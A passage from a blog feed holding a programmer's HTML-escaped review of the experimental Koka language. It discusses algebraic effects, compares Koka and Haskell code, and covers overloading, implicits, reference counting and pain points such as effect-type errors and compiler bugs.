  // handle `throw-exn` (fail) and `return` (succeed) for the `exn` effect
  with handler &amp;lt;exn&amp;gt; {
    final ctl throw-exn(e) { Error(e) }
    return(value) { Ok(()) }
  }
  inner()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;outer&lt;/code&gt; function does not need the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exn&lt;/code&gt; effect, because it’s handled that effect for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inner&lt;/code&gt; and turned it into an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;error&lt;/code&gt; type with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ok&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Error&lt;/code&gt; variants. In practice you’d just use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;try&lt;/code&gt; function to handle errors rather than writing an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exn&lt;/code&gt; handler, this is just for illustration.&lt;/p&gt;

&lt;p&gt;So far, that’s just monads with a different syntax. But the crucial part of effect types is how they compose - a function has a set of effects. So you might have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo(state: ref&amp;lt;global&amp;gt;): &amp;lt;exn,st&amp;lt;global&amp;gt;&amp;gt; ()&lt;/code&gt;. That means foo can fail (exn), &lt;em&gt;and&lt;/em&gt; it needs to read and write to the global heap (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;state&lt;/code&gt; is a mutable reference cell, reading or writing to it requires the corresponding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt; effect, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt; is just an alias for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alloc&lt;/code&gt;, for reading writing and creating refs).&lt;/p&gt;

&lt;p&gt;In monad-land, this is where we might enter monad transformer territory, with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;StateT IO&lt;/code&gt; maybe? Or an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOT State&lt;/code&gt;? I don’t know. But in Koka, it’s just two effects that we need. And there’s no need to wrap / unwrap the various layers of a monad to get at the “right” effect level, you simply call functions that require effects, and the result is a function requiring all the effects you depend on.&lt;/p&gt;

&lt;p&gt;To illustrate the difference, here’s an example which combines state and errors in Haskell. I borrowed it from &lt;a href=&quot;https://jeremymikkola.com/posts/2018_04_02_cheatsheet_state_and_error.html&quot;&gt;this article&lt;/a&gt;, because I have done a bit of Haskell but I still couldn’t write this myself:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;type StoreM = StateT (Map String Int) (Either String)

note :: a -&amp;gt; Maybe b -&amp;gt; Either a b
note msg = maybe (Left msg) Right

save :: String -&amp;gt; Int -&amp;gt; StoreM ()
save k v = modify (Map.insert k v)

load :: String -&amp;gt; StoreM Int
load k = do
  store &amp;lt;- get
  lift $ note (&quot;the key &quot; ++ k ++ &quot; is missing&quot;) (Map.lookup k store)

operation :: StoreM Int
operation = do
  save &quot;x&quot; 1
  save &quot;x&quot; 2
  save &quot;y&quot; 123
  x &amp;lt;- load &quot;x&quot;
  y &amp;lt;- load &quot;y&quot;
  save &quot;z&quot; (x + y)
  load &quot;z&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;operation&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;save&lt;/code&gt; are straightforward, but I wouldn’t be able to write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;note&lt;/code&gt; without reading a few docs first.&lt;/p&gt;

&lt;p&gt;Here’s the equivalent Koka code which is pretty straightforward once you know Koka’s syntax:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alias stored = hash-map&amp;lt;string, int&amp;gt;
alias store = ref&amp;lt;global, hash-map&amp;lt;string, int&amp;gt;&amp;gt;

fun save(store: store, k: string, v: int): st&amp;lt;global&amp;gt; ()
  store.modify fn(s)
    s := s.insert(k, v)

fun load(store: store, k: string): &amp;lt;exn,read&amp;lt;global&amp;gt;&amp;gt; int
  match (!store).get(k)
    Just(v) -&amp;gt; v
    Nothing -&amp;gt; throw(&quot;the key &quot; ++ k ++ &quot; is missing&quot;)

fun operation(store: store): &amp;lt;exn,st&amp;lt;global&amp;gt;&amp;gt; int
  store.save(&quot;x&quot;, 1)
  store.save(&quot;x&quot;, 2)
  store.save(&quot;y&quot;, 123)
  val x = store.load(&quot;x&quot;)
  val y = store.load(&quot;y&quot;)
  store.save(&quot;z&quot;, x + y)
  store.load(&quot;z&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I think this is an absolutely wonderful improvement for readability and general understanding, as well as type inference. There’s simply so much less manual machinery to think about. And thinking of “the set of effects I require” feels quite natural.&lt;/p&gt;

&lt;p&gt;There’s one odd thing here: it feels very OOP. This feels jarring because humans are pattern recognition machines, but it still &lt;em&gt;is&lt;/em&gt; FP, and I believe it retains all the important benefits of FP. Speaking of…&lt;/p&gt;

&lt;h3 id=&quot;effects-no-more-referential-transparency&quot;&gt;Effects: no more referential transparency?&lt;/h3&gt;

&lt;p&gt;A quick refresher: referential transparency means you should be able to substitute an expression for a variable-holding-that-expression without changing semantics.&lt;/p&gt;

&lt;p&gt;So in Scala, there’s no difference between these two pieces of code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;def foo(): IO[Unit] = ???

// foo happens twice
doItTwice(foo(), foo())

// foo still happens twice
val action: IO[Unit] = foo()
doItTwice(action, action)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In Koka, that’s not true (but it also wouldn’t type-check, so at least it’s not an accident waiting to happen). Calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo()&lt;/code&gt; evaluates its effects, and gives you the result. If you want to defer that you can pass the unevaluated function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doItTwice(foo, foo)&lt;/code&gt;, or have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;val action&lt;/code&gt; be an anonymous lambda. You can use braces (suspenders!) to write a zero-argument lambda, so these two are equivalent:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val action1 = fn() foo()
val action2 = { foo() }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not sure how this one sits with me. Some would say a language without referential transparency is not a “real” FP language. But I’m not sure how much it matters in practice. Maybe it &lt;em&gt;is&lt;/em&gt; still referentially transparent, if you argue the difference between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO[T]&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T&lt;/code&gt; is equivalent to the difference between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;() -&amp;gt; io T&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T&lt;/code&gt;. If you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alias IO&amp;lt;t&amp;gt; = () -&amp;gt; io T&lt;/code&gt;, that would be awful for ergonomics but would it count as referential transparency? Not sure.&lt;/p&gt;

&lt;p&gt;Either way, I’m fine with this in practice since it’s responsible for much of the readability gains in effect-using code.&lt;/p&gt;

&lt;h1 id=&quot;other-features&quot;&gt;Other features&lt;/h1&gt;

&lt;p&gt;Beyond algebraic effects, Koka has a handful of other distinguishing features:&lt;/p&gt;

&lt;h2 id=&quot;no-garbage-collector&quot;&gt;No Garbage Collector&lt;/h2&gt;

&lt;p&gt;I flip-flop between this being a minor detail and a huge deal. Koka uses reference counting which is technically garbage collection, but it doesn’t have the overheads and unpredictability associated with a tracing GC. It’s also technically possible to create cycles, but thanks to its FP and lack of general mutation, this is much less likely to be a problem in practice compared to e.g. Swift.&lt;/p&gt;

&lt;p&gt;Koka’s reference counting uses some clever techniques to be competitive (in select benchmarks) with the best garbage collectors, while requiring much less runtime code and fewer decades of cutting-edge engineering investment.&lt;/p&gt;

&lt;p&gt;Ultimately I’ve enjoyed how lean and embeddable Rust is, and Koka gives me the same vibes in a much higher level language. For performance sensitive use cases you’re more likely to want to embed Rust than Koka, but using WASM for frontend code is an embedding use case where Koka should be much nicer than Rust.&lt;/p&gt;

&lt;h2 id=&quot;dot-selection&quot;&gt;Dot selection&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj.function(value)&lt;/code&gt; is &lt;em&gt;always&lt;/em&gt; syntactic sugar for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function(obj, value)&lt;/code&gt;. This gives a natural left-to-right flow of methods as in OOP, but without the complexity of juggling both instance methods functions. Some OOP languages have ways to add extension methods to classes they didn’t define, but in Koka that’s just writing a function which accepts the given type as its first argument.&lt;/p&gt;

&lt;p&gt;This left-to-right ordering makes IDE support nicer, since writing the value first allows the suggestions to be narrowed down to functions that accept that type, similar to OOP methods.&lt;/p&gt;

&lt;p&gt;It does mean that any functions which are generic in the first argument will always be a valid suggestion, which could be noisy. Scala has similar problems with extension methods you can call on any value, IDEs present these as low priority suggestions. Koka should be able to do the same (maybe it already does).&lt;/p&gt;

&lt;p&gt;OCaml (and many others) have a similar chaining operator where you can write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj |&amp;gt; method(value)&lt;/code&gt; as syntactic sugar for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;method(value, obj)&lt;/code&gt;. But that feels like an afterthought in OCaml which is used (and useful) inconsistently, whereas dot syntax is idiomatic and universal in Koka.&lt;/p&gt;

&lt;h2 id=&quot;qualified-names-and-overloading&quot;&gt;Qualified names and overloading&lt;/h2&gt;

&lt;p&gt;In OOP, the namespace of “possible function names” is per-class - different classes can use the same name without colliding. In FP, there are a lot of functions in one big shared namespace. If you have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; function, then either:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;You need to qualify it everywhere, like OCaml’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List.map(...)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;You need some system whereby the one and only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; function does the right thing for any structure which supports the concept of “mapping”, like Haskell’s typeclasses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Koka has a novel approach: functions and variables can all have qualified names, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list/map&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array/map&lt;/code&gt;. Both can be referred to as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, but you can explicitly use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list/map&lt;/code&gt; if you need to disambiguate. But Koka also has support for overloading, where it’ll automatically pick the correct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; function if there’s only one in scope which matches the argument types given. So if you call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map(somelist, ...)&lt;/code&gt; that’s going to select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list/map&lt;/code&gt; without you needing to disambiguate.&lt;/p&gt;

&lt;p&gt;Modules can be used to disambiguate, so you often don’t need to define the function using a qualified name. If you write a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list&lt;/code&gt; module, it can be referred to as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list/map&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This felt weird at first, but after a short time feels like a nice way to balance “one big namespace” with “simple function names”, without the complexity of Haskell’s typeclasses. The one downside is that errors can be a little tougher since if the call doesn’t match any function, you get &lt;em&gt;all&lt;/em&gt; the possibilities listed. But you can (temporarily) disambiguate with the full name to get a more specific error message.&lt;/p&gt;

&lt;h2 id=&quot;implicit-arguments&quot;&gt;Implicit arguments&lt;/h2&gt;

&lt;p&gt;Koka supports implicit arguments which are resolved by a combination of both name and type, unlike Scala which only considers the type of an implicit argument. Here’s an example of an implicit in Scala:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;object Foo {
  implicit val show: Show[Foo] = ???
}

def print[T](value: T)(implicit S: Show[T]) {
  println(s&quot;Here is a ${S.show(value)}&quot;)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The equivalent in Koka would be:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fun foo/show(value: foo) { ... }

fun print&amp;lt;a&amp;gt;(value: a, ?show: (a) -&amp;gt; string) {
  println(&quot;Here is a &quot; ++ show(value))
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Because Scala’s implicit requires exactly one instance of a given type to be found, it adds extra ceremony (marking values as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;implicit&lt;/code&gt;) to avoid polluting the search space&lt;/li&gt;
  &lt;li&gt;There’s also a complex resolution process (e.g. companion objects of the type in question will be searched, even if they’re not in scope)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With Koka, implicits have to match the name &lt;em&gt;and&lt;/em&gt; type. And all that’s searched is the lexical scope, there are no extra rules. Because of qualified names, it’s possible to have many functions called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show&lt;/code&gt;. If there’s only one that accepts a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; type, then that’s the one it uses! If there’s multiple (or none), you’ll need to specify one explicitly.&lt;/p&gt;

&lt;p&gt;This does increase the chances of implicitly resolving a value which happens to be in scope, but not intended for that purpose. But given that the name also needs to match, it doesn’t seem too likely in practice.&lt;/p&gt;

&lt;p&gt;It can also mean that you need additional imports. E.g. currently the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hash&lt;/code&gt; functions for various types are defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std/data/hash&lt;/code&gt;, so you need to import that in order for those symbols to be available for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hash-map&lt;/code&gt; functions. This is all part of &lt;a href=&quot;https://github.com/koka-community/std&quot;&gt;the community stdlib&lt;/a&gt; right now, it’s likely these hash functions would be defined more centrally once they become part of the official stdlib.&lt;/p&gt;

&lt;h2 id=&quot;cohesion-and-simplicity&quot;&gt;Cohesion and simplicity&lt;/h2&gt;

&lt;p&gt;One of Koka’s principals is &lt;a href=&quot;https://koka-lang.github.io/koka/doc/book.html#why-mingen&quot;&gt;minimal-but-general&lt;/a&gt;. Many languages (especially those who are young and not burdened with decades of production use) claim similar things, so I was prepared to be underwhelmed. Lest we forget one of the most complex build tools ever created was originally called &lt;a href=&quot;https://www.scala-sbt.org/1.x/docs/Faq.html&quot;&gt;Simple Build Tool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It probably didn’t help that the “language basics” section started by describing all the various syntactic sugars which make parts of the syntax optional in certain situations, giving many different ways to write the same thing. I think these are useful and important for the “general” part of koka’s goals, but it does stand in contrast to the “minimal” goal.&lt;/p&gt;

&lt;p&gt;I hope things go well enough that we see how these goals pan out after decades of supporting production use cases, but right now I buy it.&lt;/p&gt;

&lt;p&gt;The effects system is clearly more general than other languages which have bespoke support for async, exceptions, and other specialized control flow.&lt;/p&gt;

&lt;p&gt;And the features it does have tend to work well together. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a.map(...)&lt;/code&gt; would not be that useful if there could &lt;em&gt;only&lt;/em&gt; be one function in scope called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;, nor would it be useful to require an implicit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show&lt;/code&gt; parameter if there could only be one such function in scope.&lt;/p&gt;

&lt;p&gt;Qualified names allows a much broader namespace because names can overlap, and the type level constraints provide a pragmatic way to extract the right thing out of those overlapping definitions. I don’t know how often in practice this will be better or worse than the explicitness of objects and instance methods, but it’s clearly much simpler and uniform, which I appreciate. It’s also the simplest approach I’ve seen to resolve the “one big namespace for functions” constraint that all FP languages have.&lt;/p&gt;

&lt;h2 id=&quot;performance&quot;&gt;Performance&lt;/h2&gt;

&lt;p&gt;I like the fact that Rust is so efficient, but Rust makes a lot of tradeoffs to get there. This is probably not the right tradeoff for me most of the time. To be honest, for the kinds of things I do Haskell and OCaml are perfectly fine performance-wise without bogging down logic with memory management concerns. In some cases I’m comparing performance to languages like ruby and python, where being “fast” is a comically low bar.&lt;/p&gt;

&lt;p&gt;So while I don’t often need a high performance language, it feels nice to have that option. Koka’s creator has devoted a fair bit of research and effort into specific optimisations which can make (some) idiomatic FP code compile to a form which is competitive with C, which feels like a pretty good balance of “the compiler cares about this” but “&lt;em&gt;I&lt;/em&gt; don’t have to constantly care about this”.&lt;/p&gt;

&lt;h1 id=&quot;koka-the-hard-parts&quot;&gt;Koka: the hard parts&lt;/h1&gt;

&lt;p&gt;So far I’ve mostly been playing around with the effects side of Koka, since that’s the novel part I want to understand better. These are some issues I’ve run into so far:&lt;/p&gt;

&lt;h2 id=&quot;you-cant-refer-to-generic-type-parameters-in-the-function-body&quot;&gt;You can’t refer to generic type parameters in the function body&lt;/h2&gt;

&lt;p&gt;When the compiler says my types are incorrect, I often like to annotate parts of them in order to close the gap between what I think and what the compiler thinks types are. In Koka, there seem to be a lot of situations where you can’t actually write a type down, which makes this hard.&lt;/p&gt;

&lt;p&gt;I think the main cause for this is that type parameters in the function type are not bound in the function body. So this annotation (of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;val result&lt;/code&gt;) is incorrect:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fun singleton&amp;lt;a&amp;gt;(value: a): list&amp;lt;a&amp;gt;
  val result: list&amp;lt;a&amp;gt; = [value]
  result
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The problem here is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; in the function signature can’t be referenced in the function body. So ascribing a type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list&amp;lt;a&amp;gt;&lt;/code&gt; in the body of a function is syntactic sugar for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forall&amp;lt;a&amp;gt; list&amp;lt;a&amp;gt;&lt;/code&gt;, i.e “a list of any type you like”, which obviously won’t compile. There doesn’t seem to be any advantage in &lt;em&gt;not&lt;/em&gt; making &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; reference “the one from the function signature”, so I’m hoping this can change in the future.&lt;/p&gt;

&lt;h2 id=&quot;local-variables-interfere-with-dot-selection&quot;&gt;Local variables interfere with dot selection&lt;/h2&gt;

&lt;p&gt;When there’s a bunch of functions called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location&lt;/code&gt;, Koka uses overloading to figure out which one you mean based on the arguments you pass. So in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.location&lt;/code&gt; which desugars to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location(foo)&lt;/code&gt;, that’ll pick the single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location&lt;/code&gt; function whose argument types match - or fail if there isn’t exactly one.&lt;/p&gt;

&lt;p&gt;The one issue I’ve found with this is when you also use some field’s name as a variable, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;val location = &quot;...&quot;&lt;/code&gt;. A local variable in scope will always be used rather than looking for other overloads. That’s a good rule, but in this case it makes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.location&lt;/code&gt; a type error - that desugars to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location(foo)&lt;/code&gt; but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location&lt;/code&gt; is a string!&lt;/p&gt;

&lt;p&gt;In these cases you still &lt;em&gt;can&lt;/em&gt; access the field by using a qualified name (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.file/location&lt;/code&gt;), but that’s a bit ugly - I typically find a different name for my variable. Working around this isn’t hard, it’s understanding the error message which is the hard part. Especially when you’re working through a bunch of other errors and the code in question has no obvious connection to your change.&lt;/p&gt;

&lt;p&gt;I don’t think this is problematic enough to change the language, but the compiler error could definitely be improved when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.bar&lt;/code&gt; doesn’t typecheck to highlight that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bar&lt;/code&gt; refers to a local variable.&lt;/p&gt;

&lt;h2 id=&quot;matching-up-effect-types-can-be-hard&quot;&gt;Matching up effect types can be hard&lt;/h2&gt;

&lt;p&gt;This may be simply a learning curve thing, but I stumbled a lot when trying to get my effect type declarations to compile.&lt;/p&gt;

&lt;p&gt;Part of this is the way that effect types combine. They are unordered like a set, but they’re not deduplicated like a set is (they’re referred to as a &lt;em&gt;row&lt;/em&gt; rather than a set in the documentation).&lt;/p&gt;

&lt;p&gt;For example, I thought this would work:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fun withLogging(action: () -&amp;gt; e a): &amp;lt;console|e&amp;gt; a
  println(&quot;Starting action!&quot;)
  action()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can read this as accepting an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;action&lt;/code&gt; function of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e a&lt;/code&gt; (generic effect, generic return type). The resulting function returns the same type, but with the effect of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;console|e&amp;gt;&lt;/code&gt;, read as “console plus whatever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; is”.&lt;/p&gt;

&lt;p&gt;That doesn’t work, because if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; already included the console effect, you’d have an effect type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;console,console,...&amp;gt;&lt;/code&gt;, which would require &lt;em&gt;two&lt;/em&gt; levels of console handlers to be available.&lt;/p&gt;

&lt;p&gt;The correct way to write this is by &lt;em&gt;requiring&lt;/em&gt; the action to have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console&lt;/code&gt; effect:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fun withLogging(action: () -&amp;gt; &amp;lt;console|e&amp;gt; a): &amp;lt;console|e&amp;gt; a
  println(&quot;Starting action!&quot;)
  action()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This says that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;action&lt;/code&gt; &lt;em&gt;has&lt;/em&gt; the console effect. Which really means &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;action&lt;/code&gt; &lt;em&gt;may&lt;/em&gt; have the console effect, since the compiler will allow effect widening (a function can always be evaluated with more handlers available than it needs, it just won’t use them).&lt;/p&gt;

&lt;p&gt;This does make sense, but can be a bit tedious since you often end up repeating the set of effects for both the action and return type, if you’re annotating types explicitly.&lt;/p&gt;

&lt;p&gt;I also really struggled making effect types align. Here’s an example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;val pending: ref&amp;lt;h, list&amp;lt;thunk&amp;gt;&amp;gt; = ref([])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Gave me the error:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;inferred effect: &amp;lt;alloc&amp;lt;$h&amp;gt;|$e&amp;gt;
expected effect: &amp;lt;alloc&amp;lt;$h1&amp;gt;|_e1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Understanding why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$h&lt;/code&gt; (the “heap” parameter of a ref) is not equal to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$h1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$e&lt;/code&gt; not equal to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_e1&lt;/code&gt; is not an easy task when none of those names are present (or even valid?) in the code I wrote.&lt;/p&gt;

&lt;p&gt;I think the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; difference is another instance of not being able to refer to generic type parameters. And I believe the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$e&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_e1&lt;/code&gt; thing fell out of that too, in that if you have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ref&amp;lt;h&amp;gt;&lt;/code&gt; then its corresponding allocation effect is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alloc&amp;lt;h&amp;gt;&lt;/code&gt;, and since there was a difference in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; it affected both the type and the effect. But it’s not obvious from the error message, and I have since started using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ref&amp;lt;global&amp;gt;&lt;/code&gt; over &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ref&amp;lt;h&amp;gt;&lt;/code&gt; because it leads to fewer type errors. I haven’t yet figured out why it’s useful that refs can be associated with different “heaps”, since I believe there’s only one in an actual program.&lt;/p&gt;

&lt;h2 id=&quot;compiler-bugs&quot;&gt;Compiler bugs&lt;/h2&gt;

&lt;p&gt;It says “experimental” on the tin for good reason!&lt;/p&gt;

&lt;p&gt;So far I’ve run into a few compiler bugs when using effects in nontrivial ways, where the compiler generates code that crashes. In some cases I can get code that works by changing my effect type annotations, so I suspect I’m just running into codegen bugs (rather than typechecking bugs).&lt;/p&gt;

&lt;p&gt;In some other cases I’ve been unable to get code which both compiles and runs, which is a shame. But given the language has such solid roots in research, I’m hopeful these are just minor bugs rather than larger flaws.&lt;/p&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;p&gt;So far there’s a lot to love, and not a lot to put me off. That’s already a pretty amazing feat - I’m a fussy guy.&lt;/p&gt;

&lt;p&gt;Koka is explicitly not ready for mainstream use, it’s still an experimental language. I’m really impressed with that language, and I get the feeling the core isn’t likely to significantly change, but I wouldn’t be surprised if the stdlib went through a few overhauls, and there’s no package manager yet.&lt;/p&gt;

&lt;p&gt;So I don’t expect I’ll be writing &lt;em&gt;real&lt;/em&gt; code in Koka any time soon, but it’s been a long time since I’ve been this excited about a new language. I’m definitely going to keep playing with it, and I might start posting more content that goes into details of my experiments and what I’m learning.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Nix remains my superpower</title>
			<link href="http://gfxmonk.net/2024/01/31/nix-remains-my-superpower.html"/>
			<updated>2024-01-31T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2024/01/31/nix-remains-my-superpower</id>
			<content type="html">
				
